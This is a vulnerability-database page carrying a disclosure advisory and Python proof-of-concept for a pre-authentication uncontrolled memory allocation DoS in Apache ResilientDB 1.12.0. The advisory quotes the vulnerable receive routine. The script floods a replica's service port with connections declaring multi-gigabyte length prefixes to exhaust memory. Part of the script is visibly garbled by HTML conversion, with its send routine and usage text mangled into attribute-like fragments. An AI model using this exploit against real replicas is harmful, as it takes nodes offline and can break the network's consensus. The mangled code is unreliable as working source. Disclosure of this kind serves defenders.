Lucene search
+L

Apache ResilientDB 1.12.0 Uncontrolled Memory Allocation DoS

🗓️ 12 Oct 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 18 Views

Remote pre-authentication uncontrolled memory allocation in Apache ResilientDB replica TCP acceptor.

Code
<html><body><p>#!/usr/bin/env python
#
#
# Apache ResilientDB 1.12.0 Uncontrolled Memory Allocation DoS
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://resilientdb.apache.org
# Affected version: 1.12.0 (NexRes)
#
# Summary: Apache ResilientDB is a High Throughput Yielding Permissioned Blockchain
# Fabric founded by ExpoLab at UC Davis in 2018. ResilientDB advocates a system-centric
# design by implementing a multi-threaded architecture with deep pipelines. Further,
# ResilientDB separates the ordering of client transactions from their execution, allowing
# it to process messages out of order.
#
# Desc: Apache ResilientDB (incubating) suffers from a remote pre-authentication uncontrolled
# memory allocation in its replica TCP acceptor. In platform/common/network/tcp_socket.cpp,
# TcpSocket::Recv reads an 8-byte length prefix directly off the socket and passes it to
# malloc() with no maximum-size check and no NULL-check, then reads that many bytes. This
# routine is reached, before any signature or authentication check, from the replica's main
# service listener (platform/rdbc/acceptor.cpp Acceptor::Run -&gt; Accept -&gt; Recv, started by
# platform/networkstrate/service_network.cpp). Any host that can open a TCP connection to
# a replica's service port can therefore send a large length prefix and force an arbitrarily
# large allocation; a handful of parallel connections declaring multi-gigabyte lengths exhaust
# the replica's memory (OOM), taking the node down and, at scale, breaking the network's
# BFT liveness.
#
# =================================================================================
# /platform/common/network/tcp_socket.cpp:
# ----------------------------------------
# 202: int TcpSocket::Recv(void** buf, size_t* len) {
# 203:   int ret = RecvInternal(socket_fd_, len, sizeof(size_t));
# 204:   if (ret &lt;= 0) {
# 205:     return ret;
# 206:   }
# 207:   *buf = malloc(*len);
# 208:   ret = RecvInternal(socket_fd_, *buf, *len);
# 209:   if (ret &lt;= 0) {
# 210:     return ret;
# 211:   }
# 212:   return ret;
# 213: }
# =================================================================================
#
# Tested on: Ubuntu 22.04
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6017
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6017
#
#
# 13.08.2026
#


import threading
import struct
import socket
import time
import sys

def hit(ip, port, alloc):
    try:
        s = socket.create_connection((ip, port), timeout=5)
        s.sendall(struct.pack("<q alloc="" as="" def="" e:="" except="" exception="" if="" len="" main="" print="" resilientdb_poc.py="" s.close="" time.sleep=""> <port> 8589934592 16"); return
    ip = sys.argv[1]; port = int(sys.argv[2])
    alloc = int(sys.argv[3]) if len(sys.argv) &gt; 3 else (8 * 1024**3)
    conns = int(sys.argv[4]) if len(sys.argv) &gt; 4 else 16
    print(f"[*] {ip}:{port}  -&gt;  {conns} connections x malloc({alloc} bytes) pre-auth")
    ts = [threading.Thread(target=hit, args=(ip, port, alloc), daemon=True) for _ in range(conns)]
    for t in ts: t.start()
    for t in ts: t.join()
    print("[*] OoMd.")

if __name__ == "__main__":
    main()
</port></q></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation